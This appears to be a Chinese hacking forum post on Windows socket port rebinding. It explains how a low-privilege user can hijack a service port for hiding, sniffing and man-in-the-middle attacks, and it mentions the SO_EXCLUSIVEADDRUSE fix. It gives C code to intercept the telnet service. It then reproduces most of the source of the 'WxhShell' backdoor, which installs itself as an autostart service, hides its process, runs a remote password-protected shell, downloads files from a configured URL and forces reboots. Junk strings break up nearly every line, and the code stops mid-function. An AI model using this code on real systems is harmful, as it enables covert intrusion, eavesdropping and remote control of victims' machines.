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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )UG<KcdI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WhR'MkfL  
I`EgR?5 `  
  saddr.sin_family = AF_INET; PiwI.c  
!:Clzlg   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q GDfX_  
kM/;R)3t4/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;923^*\:F{  
>zB0+l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I?i,21:5  
e5fzV.'5  
  这意味着什么?意味着可以进行如下的攻击: yS(tF`H[  
00@y,V_]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Tta+qjr  
@60/IE{-v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -m>ng E~q  
qW:\6aEG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &sJ%ur+G  
d512Y[ R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z[ ml;?  
Zw"K69A)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C8.MoFfhe  
=qVD"Z]z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?]u=5gqUU  
{H%1sI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;]Bkw6 o  
Kzgnh gc  
  #include Smlf9h&  
  #include }F4   
  #include *^P$^lm?S  
  #include    t.WWahNyY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   w"K;e(S  
  int main() 4E DwZR>./  
  { Qcr-|?5L  
  WORD wVersionRequested; S?Z"){  
  DWORD ret; vS'5Lm  
  WSADATA wsaData; ,\n%e'  
  BOOL val; A&6qt  
  SOCKADDR_IN saddr; C| Vz `FY  
  SOCKADDR_IN scaddr; |cUBS)[)X  
  int err; iZ-"l3) D  
  SOCKET s; |VD}:  
  SOCKET sc; )$e_CJ}9e  
  int caddsize; 7cJh^M   
  HANDLE mt; fbK`A?5K  
  DWORD tid;   LdM9k(  
  wVersionRequested = MAKEWORD( 2, 2 ); F[ 5\ x0  
  err = WSAStartup( wVersionRequested, &wsaData ); gT~Yn~~b  
  if ( err != 0 ) { ;nB.f.e`  
  printf("error!WSAStartup failed!\n"); 1Qz1 Ehz>  
  return -1; $q~:%pQv  
  } s>^$: wzu  
  saddr.sin_family = AF_INET; !q_fcd^c  
   3A.T_mGCs  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {y k0Zef_  
jh&WL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4w5mn6MxR  
  saddr.sin_port = htons(23); u$?t |Ll  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R3=]Av46  
  { |SF5'\d'  
  printf("error!socket failed!\n"); ]DO"2r  
  return -1; sAz]8(Fi0  
  } ]#VNZ#("  
  val = TRUE; , HE +|y#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5b^`M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mlD 1 o  
  { #ig* !  
  printf("error!setsockopt failed!\n"); <^(g<B`>  
  return -1; +kK6G#c  
  } a yQB@2%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;K9rE3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oH|<(8efD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .;xt{kK  
AH#eoKu  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) JxM[LvVi  
  { cc^[ u+  
  ret=GetLastError(); y=)xo7 (  
  printf("error!bind failed!\n"); NJ{M-K%>  
  return -1; b];p/V# <  
  } $M=W`E[g  
  listen(s,2); {)8!>K%G  
  while(1) V]$Tbxg  
  { (NBq!;_2,x  
  caddsize = sizeof(scaddr); ?yq1\G)]  
  //接受连接请求 .s !qf!{V`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); eBW=bK~[VP  
  if(sc!=INVALID_SOCKET) !w9w{dtW=  
  { F};G&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LiF(#OuZ  
  if(mt==NULL) S!;:7?mq  
  { V=v7<I=]  
  printf("Thread Creat Failed!\n"); 'sCj|=y2Qc  
  break; M[@=m[#a  
  } AGdFJ>/  
  } ,y5 7tY  
  CloseHandle(mt); jw"]U jub  
  } 3 O)^Hq+9  
  closesocket(s); c)tG1|Og]  
  WSACleanup(); voHFU#Z$  
  return 0; WTcrfs)T  
  }   hvS4"% \  
  DWORD WINAPI ClientThread(LPVOID lpParam) Zh]FL8[ nc  
  { (haYY]W\  
  SOCKET ss = (SOCKET)lpParam; RvPC7,vh  
  SOCKET sc; }H4Z726  
  unsigned char buf[4096]; Rn-RMD{dh  
  SOCKADDR_IN saddr; LT3ViCZ-n  
  long num; dlx "L%  
  DWORD val; [*k25N  
  DWORD ret; Iw<: k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dk^Uf84.Gr  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kCu"G  
  saddr.sin_family = AF_INET; ~X`_ g/5X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @l:o0(!W  
  saddr.sin_port = htons(23); JP t=~e(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 18AKM  
  { pUz;e#J|  
  printf("error!socket failed!\n"); RnX:T)+o  
  return -1; f/Lyc=- ]  
  } cN5,\I.  
  val = 100; 9y~5@/3 2R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nKzS2 u=:Y  
  { @,Iyn<v{B  
  ret = GetLastError(); `bJ+r)+5  
  return -1; & bwhD.:=  
  } 6jKZ.S+s)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) GuV.7&!x  
  { ,y+}0q-Ou  
  ret = GetLastError(); X7*i -v@  
  return -1; VqeK~,}  
  } J ^J$I!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U;7Cmti"  
  { :|\{mo1NB  
  printf("error!socket connect failed!\n"); <=D\Ckmb  
  closesocket(sc); I+?9}t  
  closesocket(ss); #xMl<  
  return -1;  / >Z`?  
  } v^=Po6S[{+  
  while(1) )\bA'LuFy  
  { [LQD]#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g.3a5#t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .<<RI8A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 YjTRz.e{[7  
  num = recv(ss,buf,4096,0); Wy[Ua#Dd  
  if(num>0) R*l#[D5A  
  send(sc,buf,num,0); 3:XF7T  
  else if(num==0) 7ktSj}7W]  
  break; JYt)4mOo  
  num = recv(sc,buf,4096,0); Vg 6/1I  
  if(num>0) tf VK  
  send(ss,buf,num,0); INd:_cT4l  
  else if(num==0) i58&o@.H<u  
  break; VuOZZ7y  
  } CBqeO@M  
  closesocket(ss); ^*{:;F@  
  closesocket(sc); 1gA9h-'w  
  return 0 ; Qd %U(|  
  } _NfdJ=[Xh  
,[ UqUEO  
BP&T|s  
========================================================== zT\nj&7  
[ p+]H?(A  
下边附上一个代码,,WXhSHELL 5cv&`h8uo_  
6%hr]>L  
========================================================== 7wivu*0  
4@b~)av)  
#include "stdafx.h" yh  
0%Y8M` ~s7  
#include <stdio.h> fd{75J5%  
#include <string.h> =i4%KF9 x  
#include <windows.h> ig Q,ZY1  
#include <winsock2.h> >tmv3_<=  
#include <winsvc.h> KlMSkdmW  
#include <urlmon.h> 3tO=   
M@k8;_5  
#pragma comment (lib, "Ws2_32.lib") l@ amAusE  
#pragma comment (lib, "urlmon.lib") m#\I&(l+  
[9wuaw"~[Z  
#define MAX_USER   100 // 最大客户端连接数 )Vn(J#s  
#define BUF_SOCK   200 // sock buffer  }de {-  
#define KEY_BUFF   255 // 输入 buffer 4jOq.j  
X 5.%e&`  
#define REBOOT     0   // 重启 K}vP0O}  
#define SHUTDOWN   1   // 关机 DLigpid  
hu ]l{TXi  
#define DEF_PORT   5000 // 监听端口 FN$sST  
1BA/$8G  
#define REG_LEN     16   // 注册表键长度 Ihd{ @6m  
#define SVC_LEN     80   // NT服务名长度 W E-cq1)  
s?fO)7ly  
// 从dll定义API u<VR;p:y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k10g %K4g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3 #8bG(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f: j9ze  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G^G= .9O  
>@g+%K]  
// wxhshell配置信息 HX;JO[0  
struct WSCFG { 9!``~]G2  
  int ws_port;         // 监听端口 _~l*p"PL<  
  char ws_passstr[REG_LEN]; // 口令 ;p/%)WW  
  int ws_autoins;       // 安装标记, 1=yes 0=no `X["Bgk$!T  
  char ws_regname[REG_LEN]; // 注册表键名 MO_-7,.y  
  char ws_svcname[REG_LEN]; // 服务名 %kHeU=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0eGz|J*7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;?{N=x8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *%3%Zj,{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IL]Js W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #j+0jFu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -4%{Jb-1  
g< F7UA  
}; &>@  
C[-M ~yIL  
// default Wxhshell configuration "^Ax}Jr  
struct WSCFG wscfg={DEF_PORT, ajy +%sXf=  
    "xuhuanlingzhe", T3_3k. ,|  
    1, \CY_nn|&g  
    "Wxhshell", kH.W17D~  
    "Wxhshell", Vr<eU>W  
            "WxhShell Service", U.$7=Zl8t  
    "Wrsky Windows CmdShell Service", )K.'sX{B  
    "Please Input Your Password: ", 8]`LRzM  
  1, wNfWHaH" m  
  "http://www.wrsky.com/wxhshell.exe", + a,x  
  "Wxhshell.exe" W$>AK_Y}  
    }; wN+3OPM  
xJ);P.  
// 消息定义模块 7;8#iS/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CDT%/9+-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [U^@Bkh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; R5,ISD +s  
char *msg_ws_ext="\n\rExit."; ;Y^.SR"  
char *msg_ws_end="\n\rQuit."; (}4]U=/nV  
char *msg_ws_boot="\n\rReboot..."; h1(GzL%i_  
char *msg_ws_poff="\n\rShutdown..."; WZ A8D0[  
char *msg_ws_down="\n\rSave to "; !wU~;sL8C3  
~+~^c|  
char *msg_ws_err="\n\rErr!"; )B!64'|M  
char *msg_ws_ok="\n\rOK!"; \FL`b{!+ N  
gG,"wzj  
char ExeFile[MAX_PATH]; 4Odf6v,*@  
int nUser = 0; dsUt[z1w5  
HANDLE handles[MAX_USER]; k"L?("~   
int OsIsNt; ,ix>e  
.H33C@  
SERVICE_STATUS       serviceStatus; "!AbH<M;@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a,YU)v^  
ru5T0w";V  
// 函数声明 0dKv%X#\  
int Install(void); t0"2Si  
int Uninstall(void); b~u53   
int DownloadFile(char *sURL, SOCKET wsh); x\R%hGt  
int Boot(int flag); \Wn0,%x2  
void HideProc(void); (QFu``ae+  
int GetOsVer(void); "Yy)&zKr  
int Wxhshell(SOCKET wsl); sT<XZLu  
void TalkWithClient(void *cs); :&'[#%h8  
int CmdShell(SOCKET sock); <CIy|&J6  
int StartFromService(void); Rnd.<jz+Y  
int StartWxhshell(LPSTR lpCmdLine); %n!7'XF'[  
UWPzRk#s"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l2S1?*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =iFI@2  
8wX|hK!Gz  
// 数据结构和表定义 /hC'-6:]^  
SERVICE_TABLE_ENTRY DispatchTable[] = 7_^JgA|Kk7  
{ "Xz[|Xl  
{wscfg.ws_svcname, NTServiceMain}, b-"kclK  
{NULL, NULL} Ltrw)H}  
}; PX$_."WA  
AB0>|.  
// 自我安装 +*')0I  
int Install(void) .zQ'}H1.C  
{ d>YX18'<Q  
  char svExeFile[MAX_PATH]; px~:'U  
  HKEY key; sq;nUA=  
  strcpy(svExeFile,ExeFile); 4r- CF#o  
Es^=&2 ''  
// 如果是win9x系统,修改注册表设为自启动 Q\qI+F2?  
if(!OsIsNt) { 5_yu4{@;y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z< 4Du  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +W}dO#  
  RegCloseKey(key); b&_u+g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -nL!#R{e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dx*tolF  
  RegCloseKey(key); !=B=1th4  
  return 0; r1R\cor  
    } tT`{xM  
  } [izP1A$r#Q  
}  ()`cW>[  
else { *_,: &Ur  
Ce.*yO<-  
// 如果是NT以上系统,安装为系统服务 )N}.n2Y8W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); enB 2-)< K  
if (schSCManager!=0) E8Y(C_:s  
{ bH1MDBb2  
  SC_HANDLE schService = CreateService v9K=\ j  
  ( FC&841F  
  schSCManager, }u&,;]  
  wscfg.ws_svcname, /8Xd2-  
  wscfg.ws_svcdisp, <3WaFi u  
  SERVICE_ALL_ACCESS, 9_&N0>OF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U3rpmml  
  SERVICE_AUTO_START, TMAart; <  
  SERVICE_ERROR_NORMAL, 3zsjL=ta  
  svExeFile, in>.Tax*  
  NULL, K[s!3.u  
  NULL, V =-hqo(  
  NULL, .cCB,re  
  NULL, +h?Rb3=S  
  NULL 8;+dlWp  
  ); _WB*ArR  
  if (schService!=0) hG!|ts  
  { dxk~  
  CloseServiceHandle(schService); gg+!e#-X  
  CloseServiceHandle(schSCManager); DMpNm F>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O@7={)6qc  
  strcat(svExeFile,wscfg.ws_svcname); ^sb+|b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wNtPh&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $-l\&V++F  
  RegCloseKey(key); &l;wb.%ijW  
  return 0; Bm:N@wg  
    } 'M=c-{f~  
  } skzTw66W.  
  CloseServiceHandle(schSCManager); mJFFst,  
} /vrjg)fer  
} J,,+JoD  
} :9UI  
return 1; yTpvKCC  
} m14OPZ<3?-  
%5-   
// 自我卸载 M?G4k]  
int Uninstall(void) -xMM}r y  
{ daN#6e4Z+;  
  HKEY key; nX\Q{R2  
biy[h3b  
if(!OsIsNt) { 0?/vcsO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dePI&z:  
  RegDeleteValue(key,wscfg.ws_regname); 6,j&u7  
  RegCloseKey(key); Ou,Eu05jt'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aX,ux9#  
  RegDeleteValue(key,wscfg.ws_regname); k`;&??  
  RegCloseKey(key); _ H$^m#h  
  return 0; y1*z," dx  
  } GkYD:o=qx  
} YM4njkI7  
} Q ~>="Yiu  
else { T*v@hbJ  
b _%W*Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C=!YcJ9  
if (schSCManager!=0) p({)ZU3  
{ n.tJ-l5[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _;8+L\  
  if (schService!=0) o:nh3K/YJ  
  { NUb:5tL  
  if(DeleteService(schService)!=0) { +8eW/Bs@2  
  CloseServiceHandle(schService); l.AG^b  
  CloseServiceHandle(schSCManager); ,W:Bh$%  
  return 0; K.I  \E  
  } ^ e4y:#Nu  
  CloseServiceHandle(schService); e,rCutA)  
  } QCVwslj,K  
  CloseServiceHandle(schSCManager); ppXt8G3% x  
} @ 9q/jv`  
} A_xUP9g@?  
9!UFLZR  
return 1; ," ~4l&  
} O({vHqN>  
MsLQ'9%Au  
// 从指定url下载文件 wML5T+  
int DownloadFile(char *sURL, SOCKET wsh) XJ9l, :c,  
{ I15g G.)  
  HRESULT hr; L; f  
char seps[]= "/"; ]id5jVY  
char *token; zyF[I6Gs  
char *file; *oP&'$P  
char myURL[MAX_PATH]; 97~*Z|#<+  
char myFILE[MAX_PATH]; 2 }HS`) /  
1h0cId8d  
strcpy(myURL,sURL); dX>l"))yR  
  token=strtok(myURL,seps); 3G9AS#-C  
  while(token!=NULL) =`y.L5  
  { Bvy(vc=UDW  
    file=token; PN @[k:5(  
  token=strtok(NULL,seps); {<}kqn83sT  
  } hp6%zUR  
(y;8izp9!  
GetCurrentDirectory(MAX_PATH,myFILE); p/GYfa dU  
strcat(myFILE, "\\"); \/ 8 V|E  
strcat(myFILE, file); *[?DnF+  
  send(wsh,myFILE,strlen(myFILE),0); jf'#2-   
send(wsh,"...",3,0); \JX.)&> -  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P0N%77p>"  
  if(hr==S_OK) <D!\"C  
return 0; p"XQJUuD  
else <^,5z!z }  
return 1; rBUdHd9  
MX.=k>  
} 3"OD"  
QA3q9,C"  
// 系统电源模块 U]h5Q.<SG  
int Boot(int flag) Tfba3+V  
{ .sk$@Q  
  HANDLE hToken; 1*!`G5c,}  
  TOKEN_PRIVILEGES tkp; E?/Bf@a28=  
c>*RQ4vE  
  if(OsIsNt) { Vgh_F8G!V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8>sToNRNe  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X)K3X:~L+  
    tkp.PrivilegeCount = 1; =os%22*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3B<$6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^|(w)Sy  
if(flag==REBOOT) { 8R6!SB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,\FJVS;NeJ  
  return 0; =N9a!i i|  
} 27t23@{YL  
else { x@I(G "  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4oF8F)ASj  
  return 0; `.FvuwP  
} Ba\l`$%X  
  } 9W{=6D86e  
  else { /Wh} ;YTv^  
if(flag==REBOOT) { ueiXY|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ( *(#;|m  
  return 0; ;-d }\f ,  
} N%A[}Y0;MW  
else { ;^Vsd\ac0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XM$HHk}L;  
  return 0; ['MG/FKuv  
} i '5Q.uX  
} %r0yBK2uOp  
.O{2]e$  
return 1; vMiZ:*iaj@  
} 1}C|Javkn  
lEBt<  
// win9x进程隐藏模块 gsn3]^X  
void HideProc(void) gp:,DC?(  
{ ;[]{O5TB  
W27EU/+3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {q%wr*  
  if ( hKernel != NULL ) z O  
  { a a=GW%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h&+dIk\[3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L\Uf+d:&}G  
    FreeLibrary(hKernel); kzG m D i  
  } )z/+!y  
~a:0Q{>a  
return; bsw0+UY=9  
} hBf0kl  
(c ?OcwTH  
// 获取操作系统版本 .(OFYK<  
int GetOsVer(void) I @TR|  
{ CA)DQYp{  
  OSVERSIONINFO winfo; P%A^TD|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Cpu L[|51  
  GetVersionEx(&winfo); 4=S.U`t7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RU3:[ (7  
  return 1; D.zEE-cGyb  
  else 5w)tsGX\  
  return 0; 3~~KtH=  
} =EI>@Y"  
GsG.9nd  
// 客户端句柄模块 5o 4\Jwt  
int Wxhshell(SOCKET wsl) l2"{uCcA  
{ oa(R,{_*q  
  SOCKET wsh; =  *7K_M&  
  struct sockaddr_in client; }{Ab:+aNd  
  DWORD myID; 7U> Xi'?  
f]MKNX  
  while(nUser<MAX_USER) .}n%gc~A  
{ >58N P1[k  
  int nSize=sizeof(client); 3 f=_F  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vt@5Hb)  
  if(wsh==INVALID_SOCKET) return 1; E|OB9BOS  
@sUYjB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W($}G_j[B1  
if(handles[nUser]==0) ~u-DuOZ8  
  closesocket(wsh); ]n9o=^q/  
else We&~]-b AW  
  nUser++; ]v&)mK]n=o  
  } @v^;,cu'8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y ;$wD9W  
NUBf>~_}  
  return 0; |[apLQ6  
} *->2$uWP  
cPD&xVwq>  
// 关闭 socket Lc.=CBQ  
void CloseIt(SOCKET wsh) `}t<5_  
{ dm8N;r/w  
closesocket(wsh); t5: 1' N9P  
nUser--; 84g$V}mp  
ExitThread(0); 8S*3W3HY  
} WzD=Ol  
T1,Nb>gBq^  
// 客户端请求句柄 ]-ad\PI$  
void TalkWithClient(void *cs) }8 V/Cd9  
{ g{|F<2rd[m  
HK_Vk\e  
  SOCKET wsh=(SOCKET)cs; .nDB{@#  
  char pwd[SVC_LEN]; }7?n\I+n"  
  char cmd[KEY_BUFF]; O5X@'.#rU  
char chr[1]; UAleGR`,  
int i,j; ,#n$YT7  
>3aB{[[N  
  while (nUser < MAX_USER) { R( 2,1f=d  
TS2zzYE6Z  
if(wscfg.ws_passstr) { g$X4ZRSel  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bhk:Szqz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); % YgGw:wZ  
  //ZeroMemory(pwd,KEY_BUFF); iO$Z?Dyg9  
      i=0; \%],pZsA~  
  while(i<SVC_LEN) { -hy`Np  
1u`{yl*+?  
  // 设置超时 su2|x  
  fd_set FdRead; PMOyZ3  
  struct timeval TimeOut; J}zN]|bz  
  FD_ZERO(&FdRead); dZ6\2ok+  
  FD_SET(wsh,&FdRead); O@9<7@h+Nl  
  TimeOut.tv_sec=8; _P].Z8  
  TimeOut.tv_usec=0; Al93x  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,a6Oi=+>/U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); YRU1^=v  
fx74h{3u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BYuoeN!  
  pwd=chr[0]; xZ=6  
  if(chr[0]==0xd || chr[0]==0xa) { gdj,e ^  
  pwd=0; bM@8[&t a  
  break; Ca]V%g(  
  } !3*:6  
  i++; }c]u'a!4  
    } pnTuYT^%)  
?z{Z!Bt?=)  
  // 如果是非法用户,关闭 socket e&k=fV  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =6YffXa_s  
} w *Txc}  
A_pcv7=@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sKCfI]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <>l!  
,qUOPW?=  
while(1) { |g`:K0BI  
AQ<2 "s  
  ZeroMemory(cmd,KEY_BUFF); 'uBagd>*  
W{!Slf  
      // 自动支持客户端 telnet标准   gH u!~l  
  j=0; b<E0|VW  
  while(j<KEY_BUFF) { 9JtPP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (~U1 X4  
  cmd[j]=chr[0]; ^`*p;&(K\^  
  if(chr[0]==0xa || chr[0]==0xd) { 'Dx_n7&=  
  cmd[j]=0; TGuvyY  
  break; FfSKE  
  } L"x9O'U  
  j++; b0:5i<"w6  
    } {Gi:W/jJ  
E|9'{3$  
  // 下载文件 w8KVs\/  
  if(strstr(cmd,"http://")) { nW"ml$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sry`EkS  
  if(DownloadFile(cmd,wsh)) Om,M8!E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5^0K5R6GQf  
  else #J w\pOn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Zq[.9!q{  
  }  \X]  
  else { n38l!m(.  
6Gj69Lr  
    switch(cmd[0]) { 0s2@z5bfX  
  R=m9[TgBm  
  // 帮助 ~i5t1  
  case '?': { =N?K)QD`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;n2b$MB?nM  
    break; WoSJp5By$  
  } iS#m{1m$$  
  // 安装 {)y8Y9G  
  case 'i': { F#>^S9Gml  
    if(Install()) 6v(;dolBIw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >sZ207*  
    else .NX>d@ Kc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'kE^oX_  
    break; ~'u %66  
    } TM*<hC  
  // 卸载 /OsTZ"*.2/  
  case 'r': {  1k39KO@  
    if(Uninstall()) ]/TqPOi:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  $hgsWa  
    else |$QL>{81  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fq`wx  
    break; rvwfQ'14  
    } .4cOMiG  
  // 显示 wxhshell 所在路径 MU#$tXmnC  
  case 'p': { RI0 +9YJ  
    char svExeFile[MAX_PATH]; -)o0P\cTEt  
    strcpy(svExeFile,"\n\r"); $8t\|O3  
      strcat(svExeFile,ExeFile); ?YA5g' l  
        send(wsh,svExeFile,strlen(svExeFile),0); PTf.(B"z  
    break; kFZjMchm A  
    } .#wU+t>  
  // 重启 Z:kX9vw.  
  case 'b': { se^(1R k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *p>1s!i  
    if(Boot(REBOOT)) vkg."G:=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :978D0}{p  
    else { ANWUo}j  
    closesocket(wsh); "PtOe[Xk  
    ExitThread(0); 1 z5\>F  
    } +`$[h2Z=:  
    break; otSF8[  
    } {S=gXIh(y  
  // 关机 $0wF4$)  
